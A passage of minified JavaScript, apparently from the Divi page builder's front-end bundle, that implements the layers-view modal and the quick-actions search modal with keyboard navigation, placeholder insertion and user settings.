"+e}).join(", "),declaration:"cursor: url("+ETBuilderBackend.images_uri+"/cursor-"+t+".png) 16 16, default !important; /* Chrome/Firefox cursor hotspot fix, Ignored by IE */;"}]);return e.push([{selector:[".et-fb-modal__layers-view .et-fb-editable-element",".et-fb-modal__layers-view .et-fb-layers-view--actions-group",".et-fb-modal__layers-view .et-fb-layers-view--add",".et-fb-modal__layers-view .et_pb_column > .et_fb_move_module_handler > .et-fb-layers-view--content"].join(", "),declaration:"pointer-events: none;"}]),r.a.createElement(F.a,{key:"css-lv-ab-testing",additional_css:e,module_class:"body"})}},{key:"renderLayers",value:function(){var e=this,t=V.a.isFilterActive();if(t&&V.a.isEmptyFilterResults())return null;this.renderCounter=0;var n=G.a.getSections(),o=l()({"et-fb-layers-view":!0,"et-fb-layers-view--results":t});return r.a.createElement("div",{id:"et-fb-layers-view-container",ref:this.containerRef},r.a.createElement("div",{className:o},n.map(function(t,n){var o=V.a.getLayerProps(t.address);if(g()(t.attrs,"_deleted")||_()(o))return null;var i=e.renderCounter>e.renderBreakpoint;e.renderCounter++;return r.a.createElement(W.a,Y({key:"lv-layer-"+o.address,index:n,globalParent:!1,lockedParent:!1,isDelayRender:i},o),e.renderChildLayers(t,!1,!1))})))}},{key:"render",value:function(){var e,t=this.state,n=t.filterValue,o=t.filterSelected,i=t.filterDropdownActive,a=t.filterNotice,s=V.a.isFilterActive(),u=this.searchFilters,d=b()(u.show_only,o)?u.show_only[o]:o,p=_()(o)?r.a.createElement(L.a,{className:"et-fb-options-filter-button-group"},r.a.createElement(j.a,{_onClick:this.filterDropdownToggle},r.a.createElement(R.a,{icon:"add",color:s?x.a.white:x.a.shuttleGrey,size:"14"})),r.a.createElement(j.a,{_onClick:this.filterDropdownToggle},ETBuilderBackend.i18n.modals.filter)):r.a.createElement(L.a,{className:"et-fb-options-filter-button-group"},r.a.createElement(j.a,{_onClick:this.filterDropdownToggle},d),r.a.createElement(j.a,{_onClick:this.filterReset},r.a.createElement(R.a,{icon:"exit",color:s?x.a.white:x.a.shuttleGrey,size:"10"}))),f=!!i&&r.a.createElement("div",{className:"et-fb-options-filter-dropdown-wrap"},r.a.createElement(A.a,{value:o,name:"layers-filter",options:u,optionGroups:{show_only:ETBuilderBackend.i18n.modals.show_only},_onClick:this.filterDropdownToggle,__onChange:this.filterSelect,activeOnLoad:!0,focusOnSearchOnLoad:!0,searchable:!0})),h=r.a.createElement("div",{className:l()({"et-fb-options-filter":!0,"et-fb-options-filter--has-dropdown":!_()(u)})},r.a.createElement("div",{className:"et-fb-options-filter-input-wrap"},r.a.createElement(D.a,{type:"text",value:n,name:"filterValue",_onChange:this.filterInput,additional_attrs:{placeholder:Z.searchLayers,"data-shortcuts-allowed":""}})),!_()(u)&&r.a.createElement("div",{className:"et-fb-options-filter-button-wrap"},p),f,this.maybeRenderFilterNotice()),m=l()((Q(e={"et-fb-modal__module-settings":!0},"et-fb-modal__"+this.slug,!0),Q(e,"et-fb-modal__filter-active",!0),Q(e,"et-fb-modal__filter-none",!s),e)),v=l()({"et-fb-tabs__panel--filter-active":!0,"et-fb-tabs__panel--filter-none":!s,"et-fb-tabs__panel--filter-dropdown":!_()(u),"et-fb-tabs__panel--filter-selected":!_()(o),"et-fb-tabs__panel--filter-notice":a}),y=V.a.getModalState(),k=c()({},this.props,{adjustHeightOffset:!0,className:m,forceUpdateSpecificModal:!0,headerButtons:[r.a.createElement(j.a,{key:"modal-close-button",buttonName:N.a.LAYERS_VIEW_MODAL_CLOSE,tooltip:ETBuilderBackend.i18n.tooltip.modal.close,primary:!0},r.a.createElement(R.a,{icon:"close",color:"#FFFFFF"}))],label:Z.title,measurement:{height:g()(y,"measurement.height",this.defaultModalHeight),width:g()(y,"measurement.width",this.defaultModalWidth)},modalMinimalWidth:300,position:{x:g()(y,"position.x",this.props.position.x),y:g()(y,"position.y",this.props.position.y)},updateSpecificModal:this.updateModalState});return r.a.createElement(H.a,k,r.a.createElement(I.a,null,r.a.createElement(U.d,{selectedIndex:0},r.a.createElement(U.b,null,r.a.createElement(U.a,null,Z.title)),r.a.createElement(U.c,{slug:this.slug,className:v,selected:!0},h,this.renderToggleAll(),this.renderLayers())),this.renderABTestingStyle()))}}]),n}();oe.propTypes={contextMenuCallback:a.a.func},oe.defaultProps={},t.default=oe}.call(this,n(24))},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(25),a=n(22),s=n.n(a),l=n(15),u=n.n(l),c=n(46),d=n.n(c),p=n(2),f=n.n(p),h=n(8),m=n.n(h),g=n(49),v=n.n(g),b=n(11),y=n.n(b),_=n(27),k=n.n(_),w=n(38),C=n.n(w),E=n(65),O=n.n(E),S=n(32),T=n.n(S),M=n(17),x=n.n(M),P=n(277),j=n.n(P),L=n(183),N=n.n(L),D=n(140),A=n.n(D),F=n(44),I=n.n(F),R=n(69),B=n.n(R),W=n(10),V=n.n(W),H=n(271),G=n.n(H),U=n(99),z=n.n(U),q=n(29),K=n.n(q),$=n(115),X=n.n($),Y=n(7),J=n.n(Y),Q=n(85),Z=n.n(Q),ee=n(31),te=n.n(ee),ne=n(94),oe=n.n(ne),re=n(226),ie=n.n(re),ae=n(47),se=n.n(ae),le=n(66),ue=n.n(le),ce=(n(76),n(51)),de=n(40),pe=n(305),fe=n(1279),he=n(727),me=n(162),ge=n(918),ve=n(674),be=n(12),ye=n(3),_e=n(961),ke=n(0),we=(n(1488),function(){return function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],o=!0,r=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(o=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);o=!0);}catch(e){r=!0,i=e}finally{try{!o&&s.return&&s.return()}finally{if(r)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}()),Ce=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Ee=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function Oe(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Se=ke.default.topDocument(),Te=ke.default.appDocument(),Me=function(e,t){var n=t||"quickActions";return f()(ETBuilderBackend.i18n,n+"."+e,e)},xe=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.displayName="ETBuilderQuickActionsModal",t.data=ke.default.intentionallyClone(_e.a.getData()),t.settingKeys=["always_start_with","show_recent_queries","recent_category","recent_queries"],t.defaultSettings=t.getDefaultSettings(),t.state=u()({},{reRender:!1,context:"modal",keyword:"",parentSelected:t.parentSelectedDefault(),pointerItem:{},itemHovered:{},inputFocused:!0,placeholder:!1,settingPanelActive:!1,lastUsedCategory:!1,mousePointer:ye.a.getMousePointer()},t.defaultSettings),t.slug="quick-actions",t.placeholderId="quick-actions-placeholder",t.isScrollingList=!1,t.modalWidth=600,t.modalHeight=360,t.timeout=100,t.throttledMouseMove=A()(t.togglePlaceholder,t.timeout,{leading:!1}),t.searchInputRef=r.a.createRef(),t.setModalWrapRef=t.setModalWrapRef.bind(t),t.setResultsWrapRef=t.setResultsWrapRef.bind(t),t.setSettingPanelRef=t.setSettingPanelRef.bind(t),t.setSearchInputFocus=t.setSearchInputFocus.bind(t),t.handleSearchInput=t.handleSearchInput.bind(t),t.handleSearchInputFocus=t.handleSearchInputFocus.bind(t),t.handleSearchInputBlur=t.handleSearchInputBlur.bind(t),t.handleMouseDown=t.handleMouseDown.bind(t),t.handleMouseDownTopDocument=t.handleMouseDownTopDocument.bind(t),t.handleMouseMove=t.handleMouseMove.bind(t),t.handleKeyDown=t.handleKeyDown.bind(t),t.handleItemMouseOver=t.handleItemMouseOver.bind(t),t.handleItemClick=t.handleItemClick.bind(t),t.handleDataUpdated=t.handleDataUpdated.bind(t),t.closeModal=t.closeModal.bind(t),t.openSettingsPanel=t.openSettingsPanel.bind(t),t.closeSettingsPanel=t.closeSettingsPanel.bind(t),t.updateSetting=t.updateSetting.bind(t),t.resetResultsList=t.resetResultsList.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),Ee(n,[{key:"componentDidMount",value:function(){var e=this;Se.addEventListener("keydown",this.handleKeyDown),Te.addEventListener("keydown",this.handleKeyDown),Se.addEventListener("mousedown",this.handleMouseDownTopDocument),Te.addEventListener("mousedown",this.handleMouseDown),ke.default.$topWindow().on("et_fb_quick_actions_data_updated",this.handleDataUpdated),ye.a.addMousePointerListener(this.handleMouseMove),setTimeout(function(){e.setSearchInputFocus()},200)}},{key:"componentDidUpdate",value:function(){this.isScrollingList=!1}},{key:"componentWillUnmount",value:function(){Se.removeEventListener("keydown",this.handleKeyDown),Te.removeEventListener("keydown",this.handleKeyDown),Se.removeEventListener("mousedown",this.handleMouseDownTopDocument),Te.removeEventListener("mousedown",this.handleMouseDown),ke.default.$topWindow().off("et_fb_quick_actions_data_updated",this.handleDataUpdated),ye.a.removeMousePointerListener(this.handleMouseMove),this.removePlaceholder()}},{key:"setModalWrapRef",value:function(e){this.modalWrapRef=e}},{key:"setResultsWrapRef",value:function(e){this.resultsWrapRef=e}},{key:"setSettingPanelRef",value:function(e){this.settingPanelRef=e}},{key:"setSearchInputFocus",value:function(){m()(this.searchInputRef)||m()(this.searchInputRef.current)||(this.searchInputRef.current.setAttribute("autocomplete","off"),this.searchInputRef.current.focus())}},{key:"getDefaultSettings",value:function(){var e={};return y()(this.settingKeys,function(t){var n=ye.a.getAppPreference("quick_actions_"+t);switch(t){case"recent_queries":e[t]=m()(n)||"false"===k()(n)?[]:n.split(",");break;default:e[t]=n}}),e}},{key:"getItem",value:function(e){return T()(e)?O()(this.data,function(t){var n={},o={};return y()(e,function(e,r){n[r]=v()(f()(t,r))?f()(t,r).toLowerCase():f()(t,r),o[r]=v()(e)?e.toLocaleLowerCase():e}),C()(n,o)}):{}}},{key:"getItemHoveredIndex",value:function(){var e=this,t=m()(this.state.itemHovered)?0:N()(this.getResults(),function(t){return C()(t,e.state.itemHovered)});return parseInt(t,10)}},{key:"getRecentItems",value:function(){if("on"!==this.getSetting("show_recent_queries"))return[];if(!m()(this.state.keyword))return[];if(!m()(this.state.parentSelected))return[];var e=this.getSetting("recent_queries");return m()(e)?[]:e.map(function(e,t){return u()({},{label:e,key:"recent_query__"+t,parent:void 0,depth:1,recentQuery:!0})})}},{key:"getItems",value:function(){var e=this,t=this.state.keyword,n=this.state.parentSelected;if(!m()(t)&&!m()(n)){var o=this.data.filter(function(e){return f()(n,"key","")===e.parent});return this.data.filter(function(t){var n=O()(o,t)||O()(o,{key:t.parent,depth:t.depth-1});return e.isKeywordMatch(t)&&n})}if(m()(t)&&!m()(n))return this.data.filter(function(e){return f()(n,"key","")===e.parent});if(!m()(t)&&m()(n)){var r={goto__section:{match:!1,hasChild:!1},goto__row:{match:!1,hasChild:!1},goto__module:{match:!1,hasChild:!1}},i=this.data.filter(function(t){var n=e.isKeywordMatch(t);return n&&(te()(r,t.key)&&(r[t.key].match=!0),te()(r,t.parent)&&(r[t.parent].hasChild=!0)),n||te()(r,t.key)}),a=K()(oe()(r,function(e){return!e.match&&!e.hasChild}));return m()(a)?i:i.filter(function(e){return!V()(a,e.key)})}return this.data.filter(function(e){return 1===e.depth})}},{key:"getResults",value:function(){var e=this.getRecentItems(),t=this.getItems();if(!m()(this.state.keyword)&&m()(this.state.parentSelected)){var n=t.map(function(e){return e.parent||se()(e,"priority",-1),e}),o=ie()(n,["priority"],["asc"]);return Z()(e,o)}return Z()(e,t)}},{key:"getMousePosition",value:function(){var t=f()(this.state.mousePointer,"pageX",f()(this.state.mousePointer,"clientX",0)),n=f()(this.state.mousePointer,"pageY",f()(this.state.mousePointer,"clientY",0));return{x:t-e(window).scrollLeft(),y:n-e(window).scrollTop()}}},{key:"getSetting",value:function(e,t){return J()(e)?X()(this.state,K()(this.defaultSettings)):f()(this.state,e,t)}},{key:"isKeywordMatch",value:function(e){var t=k()(this.state.keyword).toLowerCase(),n=f()(e,"label",!1);if(n&&-1!==k()(n).toLowerCase().indexOf(t))return!0;var o=f()(e,"keywordLabel",!1);if(o&&-1!==k()(o).toLowerCase().indexOf(t))return!0;var r=f()(e,"tagLabel",!1);return!(!r||-1===k()(r).toLowerCase().indexOf(t))}},{key:"updateSetting",value:function(e,t){if(V()(this.settingKeys,e)){var n=this.getSetting(e),o=void 0;switch(e){case"recent_queries":o=G()(z()(Z()([t],n)),5);break;default:o=t}C()(n,o)||(be.b.quickActionsUpdateSetting(e,o),this.setState(Oe({},e,o)))}}},{key:"parentSelectedDefault",value:function(){var e=f()(this.defaultSettings,"always_start_with");return"nothing"===e?{}:"recent_category"===e?this.getItem({key:f()(this.defaultSettings,"recent_category"),depth:1}):this.getItem({key:e,depth:1})}},{key:"closeModal",value:function(){be.b.quickActionsSetContext(!this.state.context)}},{key:"isPlaceholderDataChanged",value:function(e){var t=this;if(C()(this.state.placeholder,e))return!1;var n=["targetAddress","isNoChild","isAddBefore"],o=[];return y()(n,function(n){f()(t.state.placeholder,n)===f()(e,n)&&o.push(n)}),n.length!==o.length}},{key:"getPlaceholderData",value:function(){var t=this,n=f()(ye.a.getHoveredModule(),"props",{});if(m()(n))return!1;var o=e('[data-address="'+f()(n,"address")+'"]').first();if(!o||1!==o.length)return!1;var r=this.state.pointerItem,i=r.group,a=r.slug,s=r.insert_saved,l=function(e){var t=f()(e,"type","");return V()(["et_pb_section","et_pb_row","et_pb_row_inner","et_pb_column","et_pb_column_inner"],t)?t.replace("et_pb_",""):"module"},c={fullwidth:{section:function(){switch(l(n)){case"section":return{target:o};default:return{target:o.closest(".et_pb_section")}}},module:function(){if(0!==a.indexOf("et_pb_fullwidth_"))return!1;switch(l(n)){case"module":return{target:o};default:if(o.hasClass("et-fb-no-children"))return{target:o,isNoChild:!0};var e=o.find(".et_pb_module.et-first-child.et-last-child").first();return e&&e.length?{target:e}:!m()(t.state.placeholder)&&t.state.placeholder}}},specialty:{section:function(){switch(l(n)){case"section":return{target:o};default:return{target:o.closest(".et_pb_section")}}},row:function(){switch(l(n)){case"section":return!(s||!m()(n.content))&&{target:o,isNoChild:!0};case"module":case"column_inner":return{target:o.closest(".et_pb_row_inner")};case"column":return!!Object(ke.hasValue)(f()(n,"attrs.specialty_columns",""))&&{target:o,isNoChild:!0};case"row_inner":return{target:o};default:return!m()(t.state.placeholder)&&t.state.placeholder}},module:function(){if(0===a.indexOf("et_pb_fullwidth_"))return!1;switch(l(n)){case"module":return{target:o};case"column_inner":return{target:o,isNoChild:!0};case"column":return!Object(ke.hasValue)(f()(n,"attrs.specialty_columns",""))&&{target:o,isNoChild:!0};default:return!m()(t.state.placeholder)&&t.state.placeholder}}},regular:{section:function(){switch(l(n)){case"section":return{target:o};default:return{target:o.closest(".et_pb_section")}}},row:function(){switch(l(n)){case"module":case"column":return{target:o.closest(".et_pb_row")};case"row":return{target:o};default:return!!o.hasClass("et-fb-no-children")&&{target:o,isNoChild:!0}}},module:function(){if(0===a.indexOf("et_pb_fullwidth_"))return!1;switch(l(n)){case"module":return{target:o};case"column":return{target:o,isNoChild:!0};default:return!m()(t.state.placeholder)&&t.state.placeholder}}}},d=Object(ke.getModuleSectionType)(n,ye.a.getSectionsFlattened()),p=f()(c,d+"."+i);if(!I()(p))return!1;var h=p();if(!h||!h.target||!h.target.length)return!1;var g=h.isNoChild||!1,v=k()(h.target.attr("data-address"));if(g)return u()({},h,{targetAddress:v,isNoChild:g,isAddBefore:!1});var b=f()(h.target.offset(),"top",0),y=h.target.height()/2,_=f()(this.state.mousePointer,"pageY",0);return u()({},h,{isNoChild:g,targetAddress:v,isAddBefore:_<b+y})}},{key:"togglePlaceholder",value:function(t){var n=this;if("pointer"===this.state.context){if(f()(t,"target")){var o=e(t.target).closest(".et-fb-column-divider").find(".et_pb_column_dropzone"),r=f()(this,"state.pointerItem.slug","");if(o.length>0&&"module"===f()(this,"state.pointerItem.group","")&&!ue()(r,"et_pb_fullwidth_"))return void this.setState({placeholder:{parentRow:o.data("row-address"),columnIndex:o.data("zone-index")}})}var i=this.getPlaceholderData();this.isPlaceholderDataChanged(i)&&e.when(this.removePlaceholder()).then(function(){m()(i)?n.setState({placeholder:i}):e.when(n.addPlaceholder(i)).then(function(){var t=e("#"+n.placeholderId);n.setState({placeholder:u()({},i,{buttonPosition:Ce({},t.offset(),{element:t})})})})})}}},{key:"addPlaceholder",value:function(t){var n,o=t.target||!1,r=t.isNoChild||!1,i=t.isAddBefore||!1;if(o&&o.length){var a=this.state.pointerItem,l=a.group,u=a.slug,c=f()(this.props,"previewMode","desktop"),d=s()((Oe(n={"et-fb-quick-actions-placeholder":!0,"et-fb-quick-actions-placeholder--no-child":r,"et-fb-quick-actions-placeholder--first-child":i},"et-fb-quick-actions-placeholder--"+l,!0),Oe(n,"et-fb-quick-actions-placeholder--"+l+"-fullwidth","fullwidth"===u.replace("et_fb_","")),Oe(n,"et-fb-quick-actions-placeholder--"+l+"-specialty","specialty"===u.replace("et_fb_","")),Oe(n,"et-fb-quick-actions-placeholder--"+l+"-regular","regular"===u.replace("et_fb_","")||"section"===u.replace("et_pb_","")),n)),p={opacity:"wireframe"===c?1:0,height:"wireframe"===c?"40px":"0px"},h={opacity:1,height:"20px"},m=e('<div id="'+this.placeholderId+'" class="'+d+'"></div>').css(p);e.when(void(r?o.find(".et-fb-add-wrap").first().append(m):"wireframe"===c?i?o.prepend(m):o.append(m):i?o.before(m):o.after(m))).then(function(){"wireframe"!==c&&m.animate(h,500,"easeOutCubic")})}}},{key:"removePlaceholder",value:function(){e("#"+this.placeholderId).remove()}},{key:"handleDataUpdated",value:function(){this.data=ke.default.intentionallyClone(_e.a.getData());var e={reRender:!this.state.reRender};m()(this.state.parentSelected)||(e.parentSelected=this.getItem({key:f()(this.state,"parentSelected.key"),parent:f()(this.state,"parentSelected.parent"),depth:f()(this.state,"parentSelected.depth")})),this.setState(e)}},{key:"handleMouseDown",value:function(e){var t=this;if("pointer"===this.state.context&&!m()(this.state.placeholder))return this.removePlaceholder(),this.setState({context:!1}),void setTimeout(function(){var e=t.state.placeholder,n=u()({},Ce({},t.state.pointerItem),{placeholder:e});be.b.quickActionProcess(n)},200);"modal"===this.state.context&&this.modalWrapRef&&!this.modalWrapRef.contains(e.target)&&this.closeModal()}},{key:"handleMouseDownTopDocument",value:function(t){this.state.settingPanelActive&&this.settingPanelRef&&!this.settingPanelRef.contains(t.target)?this.closeSettingsPanel():"modal"!==this.state.context||e(t.target).closest(".et-fb-modal__quick-actions").length||this.closeModal()}},{key:"handleMouseMove",value:function(e){"pointer"===this.state.context&&(this.setState({mousePointer:e}),this.throttledMouseMove.cancel(),this.throttledMouseMove(e))}},{key:"handleKeyDown",value:function(t){var n=this,o=t.keyCode||t.which,r=27===o,i=8===o,a=38===o,s=40===o,l=13===o,u=this.state,c=u.parentSelected,d=u.keyword,p=u.inputFocused,h=u.context;if(r){if(this.state.settingPanelActive)return void this.closeSettingsPanel();if("pointer"===h)return this.setState({context:"modal",placeholder:!1}),this.removePlaceholder(),void be.b.quickActionsSetContext("modal");this.closeModal()}if(i&&!m()(c)&&m()(d)&&p){var g=f()(c,"depth",1),v=f()(c,"parent",""),b=g>1?this.getItem({depth:g-1,key:v}):{};this.setState({keyword:"",parentSelected:b,itemHovered:{}})}if(!this.isScrollingList&&(a||s)){var y=this.getResults();if(!m()(y)){var _=function(){var e=y.length-1,t=n.getItemHoveredIndex(),o=!1;if(s)for(;!1===o&&t<=e;){t+=1;var r=f()(y,t);m()(r)||r.isGroup||(o=t)}if(a)for(;!1===o&&t>=0;){t-=1;var i=f()(y,t);m()(i)||i.isGroup||(o=t)}return o}();if(!1!==_){var k=f()(y,_);if(!m()(k)){var w=e(this.resultsWrapRef),C=w.outerHeight(),E=parseInt(w.css("padding-top"),10),O=parseInt(w.css("padding-bottom"),10),S=w.closest(".et-fb-tabs__panel"),T=S.height(),M=S.scrollTop(),x=w.find("li").eq(_),P=x.outerHeight()||0,j=x.offset().top-S.offset().top,L=C>T,N=0===_,D=_===y.length-1,A=function(t){n.isScrollingList=!0,e.when(S.scrollTop(t)).then(function(){n.setState({itemHovered:k})})};if(s&&L&&j+P>=T){var F=M+j+P-T;D&&(F+=O),A(F)}else if(a&&L&&j-P<=0){var I=M+j;N&&(I-=E),A(I)}else this.setState({itemHovered:k})}}}}if(l){var R=this.getResults();if(!m()(R)){var B=f()(R,this.getItemHoveredIndex());m()(B)||B.isGroup||this.handleItemClick(B)}}}},{key:"handleSearchInput",value:function(e){var t=j()(e.target.value),n=this.state.parentSelected,o={};m()(n)?o=this.getItem({label:t}):(o=this.getItem({label:t,parent:f()(n,"key")}),m()(o)&&(o=this.getItem({tabLabel:t,parent:f()(n,"key")})));var r=m()(o)||m()(o.actions)?n:o,i=m()(o)||m()(o.actions)?t:"";switch(1===f()(r,"depth")&&this.updateSetting("recent_category",r.key),f()(r,"key")){case"help":be.b.quickActionsLoad("articles")}this.setState({parentSelected:r,keyword:i,itemHovered:{}})}},{key:"handleSearchInputFocus",value:function(){this.state.settingPanelActive||this.state.settingPanelActive||this.setState({inputFocused:!0})}},{key:"handleSearchInputBlur",value:function(){this.state.settingPanelActive||this.state.settingPanelActive||this.setState({inputFocused:!1})}},{key:"handleItemClick",value:function(e){if(!this.state.settingPanelActive&&!this.state.settingPanelActive){if(f()(e,"recentQuery"))return this.setState({keyword:e.label}),void this.setSearchInputFocus();var t=f()(e,"key","").split("__"),n=we(t,2),o=n[0],r=n[1];switch(o){case"insert_saved":be.b.quickActionsLoad("library",r);break;case"help":be.b.quickActionsLoad("articles");break;case"open":r&&!V()(r,"_")&&be.b.quickActionsLoad("posts",r)}if(1===f()(e,"depth")&&this.updateSetting("recent_category",e.key),m()(this.state.keyword)||this.updateSetting("recent_queries",this.state.keyword),!J()(e.actions))return this.setState({parentSelected:e,keyword:"",itemHovered:{}}),void this.setSearchInputFocus();if(V()(["insert_module","insert_saved"],o)&&"pointer"!==this.state.context){this.setState({context:"pointer",mousePointer:ye.a.getMousePointer(),pointerItem:e}),this.togglePlaceholder();var i={pointerItemSlug:f()(e,"slug",""),pointerItemGroup:f()(e,"group","")};be.b.quickActionsSetContext("pointer",i)}else be.b.quickActionProcess(e)}}},{key:"handleItemMouseOver",value:function(e){this.isScrollingList||this.setState({itemHovered:e})}},{key:"openSettingsPanel",value:function(){this.state.settingPanelActive||this.setState({settingPanelActive:!0})}},{key:"closeSettingsPanel",value:function(){this.setState({settingPanelActive:!1})}},{key:"resetResultsList",value:function(){var e={keyword:""};m()(this.state.keyword)&&!m()(this.state.parentSelected)&&(e.parentSelected=this.getItem({depth:f()(this.state.parentSelected,"depth")-1,key:f()(this.state.parentSelected,"parent")})),this.setState(e)}},{key:"renderSettingPanel",value:function(){var e=this;if(!this.state.settingPanelActive)return!1;var t={nothing:Me("Nothing"),recent_category:Me("Last Used Search Category")},n=B()(this.data,function(e){return 1===e.depth});y()(n,function(e){t[e.key]=e.label});var a=[{label:Me("Always Start Search With"),fieldData:{name:"always_start_with",type:"select",default:"nothing",options:t,value:this.getSetting("always_start_with"),_onChange:this.updateSetting}},{label:Me("Show Recent Queries"),fieldData:{name:"show_recent_queries",type:"yes_no_button",default:"off",options:{on:Me("Yes"),off:Me("No")},value:this.getSetting("show_recent_queries"),_onChange:this.updateSetting}}].map(function(t){var n=Object(o.createElement)(fe.a.getControl(t.fieldData.type),t.fieldData);return r.a.createElement(he.b,{name:t.fieldData.name,key:e.slug+"-form-group-"+t.fieldData.name},r.a.createElement(he.c,null,t.label),r.a.createElement(me.a,{componentName:t.fieldData.name},n))}),l=s()({"et-fb-quick-actions-setting-panel":!0,"et-fb-modal":!0}),u=ye.a.getAppPreference("builder_animation");return r.a.createElement(i.Motion,{defaultStyle:{size:.8,opacity:0},style:{size:u?Object(i.spring)(1,{stiffness:300,damping:20}):1,opacity:u?Object(i.spring)(1,{stiffness:300,damping:20}):1}},function(t){return r.a.createElement("div",{className:"et-fb-quick-actions-setting-panel--wrap",style:{opacity:t.opacity,transform:"scale( "+t.size+" )"}},r.a.createElement("div",{className:"et-fb-quick-actions-setting-panel--button-mask"}),r.a.createElement("div",{className:l,ref:e.setSettingPanelRef},a))})}},{key:"renderSearchInput",value:function(){var e=this.state.parentSelected,t=!m()(e)&&r.a.createElement("div",{className:"et-fb-modal__header--selected"},r.a.createElement("span",null,f()(e,"tagLabel",f()(e,"label"))));return r.a.createElement("div",{className:"et-fb-modal__header--input-wrap"},t,r.a.createElement("div",{className:"et-fb-modal__header--input"},r.a.createElement("input",{type:"hidden",value:"fakeInputValueDisableBrowserAutoSuggestions",style:{display:"none"}}),r.a.createElement("input",{type:"text",id:"keyword",name:"keyword",className:"et-fb-settings-option-input et-fb-settings-option-input--block",placeholder:m()(e)?Me("Search")+"...":"",value:this.state.keyword,onChange:this.handleSearchInput,onFocus:this.handleSearchInputFocus,onBlur:this.handleSearchInputBlur,ref:this.searchInputRef})),this.renderSettingPanel())}},{key:"renderResultsList",value:function(){var e=this,t=this.state.parentSelected,n=this.state.keyword;if(!m()(t)&&m()(t.actions)&&t.isLoading)return r.a.createElement(pe.a,{useWrapper:!1,isLoading:!0});var i=this.getResults();if(m()(i))return r.a.createElement("div",{className:s()({"et-fb-quick-actions":!0,"et-fb-quick-actions--no-results":!0})},r.a.createElement("p",{onClick:this.resetResultsList,dangerouslySetInnerHTML:{__html:Me("No options exist for this search query. <span>Click here</span> to clear your search.")}}));var a=i.filter(function(e){return e.recentQuery}),l=i.map(function(i,l){var u,c=function(t,n){return!e.state.settingPanelActive&&(m()(e.state.itemHovered)?0===t:C()(n,e.state.itemHovered))},d=s()(Oe({"et-fb-quick-actions--item--label":!0,"et-fb-quick-actions--item--label--hovered":c(l,i)},"et-fb-quick-actions--item--label--depth-"+i.depth,!0)),p=s()(Oe({"et-fb-quick-actions--item--description":!0,"et-fb-quick-actions--item--description--hovered":c(l,i)},"et-fb-quick-actions--item--description--depth-"+i.depth,!0)),f=s()((Oe(u={"et-fb-quick-actions--item":!0},"et-fb-quick-actions--item--depth-"+i.depth,!0),Oe(u,"et-fb-quick-actions--item--hovered",c(l,i)&&!i.isGroup),Oe(u,"et-fb-quick-actions--item--separator",!m()(a)&&a.length-1===l),u)),h=r.a.createElement("span",{className:d},function(e){return e.injected?e.label:m()(n)||m()(e.keywordLabel)||!m()(t)?e.label:e.keywordLabel}(i)),g=r.a.createElement("span",{className:p},function(e){return!m()(e.description)&&x()(e.description)?e.description.map(function(e){return r.a.createElement("span",{key:e,"data-content":e,className:"kbd-key key-"+e})}):k()(e.description)}(i)),v={key:i.depth+"_-_"+i.key,className:f,onClick:function(){return e.handleItemClick(i)},onMouseOver:function(){return e.handleItemMouseOver(i)}},b=i.element||"div",y=i.attrs||{};return r.a.createElement("li",v,Object(o.createElement)(b,y,h,g))}),u=s()({"et-fb-quick-actions":!0,"et-fb-quick-actions--results":!0});return r.a.createElement("ul",{className:u,ref:this.setResultsWrapRef},l)}},{key:"renderPointer",value:function(){var e;if("pointer"!==this.state.context)return!1;var t=ye.a.getHoveredModule();if(m()(t))return!1;var n=this.state.pointerItem,o=n.group,i=n.slug,a=this.getMousePosition(),l={className:s()((e={"et-fb-quick-actions-pointer":!0},Oe(e,"et-fb-quick-actions-pointer--"+o,!0),Oe(e,"et-fb-quick-actions-pointer--"+o+"--"+i.replace("et_pb_",""),"section"!==o),Oe(e,"et-fb-quick-actions-pointer--"+o+"--fullwidth","fullwidth"===i.replace("et_fb_","")),Oe(e,"et-fb-quick-actions-pointer--"+o+"--specialty","specialty"===i.replace("et_fb_","")),Oe(e,"et-fb-quick-actions-pointer--"+o+"--regular","regular"===i.replace("et_fb_","")||"section"===i.replace("et_pb_","")),e)),tooltip:f()(ETBuilderBackend.i18n.tooltip,o+".addButton"),round:!0,info:"regular"===i.replace("et_fb_","")||"section"===i.replace("et_pb_",""),primary:"fullwidth"===i.replace("et_fb_",""),warning:"specialty"===i.replace("et_fb_",""),success:"row"===o,inverse:"module"===o,disabled:!0,onClick:d.a,style:{left:f()(a,"x",0),top:f()(a,"y",0)}};return r.a.createElement("div",{className:"et-fb-quick-actions-wrap--pointer"},r.a.createElement(ce.a,l,r.a.createElement(de.a,{size:"14",icon:"add",color:"#FFFFFF"})))}},{key:"renderModal",value:function(){var e;if("modal"!==this.state.context)return!1;var 